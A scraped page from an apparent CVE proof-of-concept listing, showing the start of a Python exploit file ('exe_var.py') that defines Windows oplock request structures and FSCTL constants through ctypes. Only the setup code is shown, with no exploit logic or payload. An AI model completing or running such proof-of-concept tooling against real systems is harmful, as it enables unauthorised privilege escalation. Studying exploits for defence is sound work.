4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exe_var.py PY
from ctypes import *
from ctypes.wintypes import *
import ctypes
import time
import os

PVOID = c_void_p
ULONG_PTR = PVOID

def CTL_CODE(DeviceType, Function, Method, Access) : 
    return (DeviceType << 16) | (Access << 14) | (Function << 2) | Method
def DEVICE_TYPE_FROM(ctrlCode):
    return (ctrlCode & 0xffff0000) >> 16
def METHOD_FORM_CTL_CODE(ctrlCode):
    return ctrlCode & 3
def HRESULT_FROM_WIN32(x):
    x = c_long(x).value
    if x<0:
        return x
    return c_long(0x80070000 | (x&0xffff)).value
def touch(path):
    with open(path, 'a'):
        os.utime(path, None)

class REQUEST_OPLOCK_INPUT_BUFFER(Structure):
    _fields_ = [
    ("StructureVersion", WORD),
    ("StructureLength", WORD),
    ("RequestOplockLevel", DWORD), 
    ("Flags", DWORD)
    ]

class REQUEST_OPLOCK_OUTPUT_BUFFER(Structure):
    _fields_ = [
     ("StructureVersion", WORD),
     ("StructureLength", WORD),
     ("OriginalOplockLevel", DWORD), 
     ("NewOplockLevel", DWORD),
     ("Flags", DWORD),
     ("AccessMode", DWORD),
     ("ShareMode", WORD)
     ]

# Variable
FILE_DEVICE_FILE_SYSTEM = 0x00000009
METHOD_BUFFERED = 0x0
FILE_ANY_ACCESS = 0x0

FSCTL_REQUEST_OPLOCK = CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 144, METHOD_BUFFERED, FILE_ANY_ACCESS)
REQUEST_OPLOCK_CURRENT_VERSION = 0x0
REQUEST_OPLOCK_INPUT_FLAG_REQUEST   = 0x1
REQUEST_OPLOCK_INPUT_FLAG_ACK       = 0x2
REQUEST_OPLOCK_INPUT_FLAG_COMPLETE_ACK_ON_CLOSE = 0x4
REQUEST_OPLOCK_OUTPUT_FLAG_ACK_REQUIRED     = 0x1
REQUEST_OPLOCK_OUTPUT_FLAG_MODES_PROVIDED   = 0x2
OPLOCK_LEVEL_CACHE_READ = 0x1
OPLOCK_LEVEL_CACHE_HANDLE = 0x2
OPLOCK_LEVEL_CACHE_WRITE = 0x4